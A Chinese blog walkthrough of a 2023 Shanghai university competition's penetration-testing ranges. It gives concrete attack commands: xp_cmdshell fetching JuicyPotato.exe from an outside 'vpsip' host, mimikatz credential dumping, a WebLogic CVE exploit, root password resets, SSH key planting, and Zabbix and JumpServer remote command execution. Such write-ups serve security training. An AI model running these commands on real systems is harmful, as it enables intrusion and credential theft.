第八届上海市大学生网络安全大赛
暨“磐石行动”2023(首届)大学生网络安全邀请赛
—— CTF比赛
2023.5.20 9:00 - 21:00
—— 漏洞挖掘比赛
2023.5.21 00:00 - 2023.5.22 24:00
CTF 比赛的 Writeup 可以参考喵喵的上一篇文章:
2023年第八届上海市大学生网络安全大赛 / 磐石行动 CTF WriteUp
今年的上海市赛新加了漏洞挖掘环节,实际上是给了四套自带内网的靶场让选手打渗透,两天打下来感觉还是挺坑的,这篇就来记录下渗透挖洞的过程吧。
既然是Workthrough,那文中必然有不少走错路的时候,说不定还有写得不对的地方,师傅们看的时候就当听故事好了(哈哈)
notice
关于flag内容
并非所有容器都有flag,有flag的服务器linux系统存放在/root/目录下,windows系统存放在桌面目录下,仅 <漏洞挖掘场景3> 中,有一个flag存放位置不在上述目录,可通过find查找到flag文件。
请各位选手注意,场景在完成全部作答后在平台中题目上会显示已解决图标,若没有完成全部作答则说明还没有获取全部答案,需要继续进行!
另外漏洞挖掘赛场景总共就4套 不会再发布其他题目 题目里面一台机器就一个flag 根据平台公告内容 如果不在指定位置就是没有flag 继续玩下去找 一个场景里面含有3-6台服务器
关于赛题难度
赛题难度排序为(由高至低):场景3->场景2->场景4->场景1
关于赛题场景内数量
以下为场景及flag数量信息;
场景1:3台服务器,2个flag;场景2:6台服务器,4个flag;场景3:6台服务器,4个flag;场景4:4台服务器,3个flag关于场景3的flag公告
场景3的flag仅最后一个需要find,其他flag都在可见位置。
不知道是不是第一年办漏洞挖掘比赛的原因,其实感觉挺坑的,第一天比赛的时候都不透露每个场景里有多少机器以及多少个flag,而且不是拿下了一台机器就一定有flag,就得硬猜。
于是第一天凌晨喵喵在看场景3的时候日了入口机器,他公告写了 有个flag不在默认目录要自己find,但是喵喵找死找不到flag,直到比赛第二天快结束了才说不在指定位置就是这台机器没有 flag,人麻了。。
由于文章写得有点长,干脆拆分成了上下篇,这一篇主要写一下场景1和场景3的挖洞渗透的过程哈!
(icmp) Target 10.103.83.172 is alive
入口 192.168.33.175 MSSQL
MSSQL 弱口令,连上去
Microsoft SQL Server 2016 (SP1) (KB3182545) - 13.0.4001.0 (X64)
开始 xp_cmdshell 扩展功能
use master;
network
以太网适配器 以太网 2:
tasklist
映像名称 PID 会话名 会话# 内存使用
有 Windows defender
JuicePotato 提权
exec master..xp_cmdshell 'powershell -Command "Invoke-WebRequest http://vpsip:12345/JuicyPotato.exe -OutFile C:\Users\Public\2.exe"';
rce 的命令放下面了,就是将命令写进 1.bat 文件,然后启动该 bat
对应的 3.exe 来自
https://www.cnblogs.com/J0o1ey/p/15714555.html
use master;
修改密码之后登录进去找 flag,发现找不到
rdp 连上去
start infoscan
192.168.33.175/24 is Valid CIDR
mimikatz
mimikatz(commandline) # sekurlsa::logonpasswords full
root是我们加进去的,抓不到Administrator的?
重新开了台试试
use master;
啥也没有啊,摸了
感觉内网这台Win10 192.168.33.174 PC01应该是借助175这台入口机器的密码或者哈希横向过去,用PsExec之类的工具吧。
但是不懂为啥没抓到hash,麻了
赛后发现是确实是抓 Administrator 的 hash,然后 hash 传递过去。。第一个 flag 在 174 win10 上,而他在域里,还有一台在 174 机器的另一个子网下,需要爆破域用户的密码然后借助 CVE 横向过去
不过没时间赶不上复现了,摸!
(icmp) Target 10.103.164.235 is alive
经典 weblogic,直接工具一把梭哈
CVE_2020_2551
# pwd
找不到 flag 在哪,人麻了
(后来才知道这台机器就没flag,啥也不说太蠢了)
改密码ssh登上去看算了
echo "root:miaotony111"|chpasswd
# ip a
(icmp) Target 192.168.33.77 is alive
直接写公钥好了
./fscan_amd64 -h 192.168.33.55 -rf id_ed25519.pub
连上去拿 flag
# ip a
还有个10.103.173.192内网啊? 感觉只是大内网重复了?(后来和技术支持确认了就是入口机器共用的网段)
(icmp) Target 10.103.173.192 is alive
# history
入口机器的历史记录里有一条
curl http://192.168.33.127 -u Admin -p bQqYfe5eqN2CttsV
拿这个用户名密码去登录
Zabbix 5.0.33 后台可以下发执行指令
先添加一下自己想要执行的脚本
jumpserver192.168.33.149: 10050
Zabbix server127.0.0.1: 10050
id; whoami; ps -ef; ls -al /root; cat /root/flag; case $? in [01]) true;; *) false;; esac
弹shell,然后借助suid权限提权,拿flag
bash-4.2$ find / -perm -u=s -type f 2>/dev/null
不是 之前那个 jumpserver 远程命令执行RCE漏洞
https://paper.seebug.org/1502/
https://github.com/Skactor/jumpserver\_rce 打不通
先上线 zabbix
http://192.168.33.127/zabbix/hosts.php
克隆个Zabbix server模板,然后直接改ip成192.168.33.149
参考 Zabbix与Jumpserver后渗透小记
https://mp.weixin.qq.com/s/OwSZWCshBKJW0b5du7Juhw
弹了 zabbix server shell 连上去,发现这机器上面没有 zabbix_get。。
不过好在后台可以执行,在 配置-主机-监控项 里面,直接搜 vfs.file
然后 clone 一个
发现不在
/etc/zabbix/zabbix_agentd.conf
而是
vfs.file.contents[/opt/jumpserver/config/config.txt]
# JumpServer configuration file example.
拿到
SECRET_KEY=MjcxMzE5ZjYtZTE4YS0xMWVkLTk5MDYtYWMxZjZiZGYyOTM0
先利用 BOOTSTRAP_TOKEN 读取 assess_key 和 secret
然后借助 jumpserver 的 API 去执行命令 RCE
但是做到这里比赛结束了,寄!
(然后通宵打了两天,顶不住,随便整理了一下做出来的部分的 wp 直接交平台上就呼呼了,累累)
(然而靶场就关了,后面也复现不起来了)
后面的步骤应该还是参考 Zabbix与Jumpserver后渗透小记这篇文章来
不过赛后和其他师傅聊了下,说再后面还有个 VMware ESXi,要用 log4j 打,但这玩意不是想象中的那么好日,摸了
那就先写到这,下一篇来写一写场景2和场景4的漏洞挖掘过程喵。
(溜了溜了喵)
往期推荐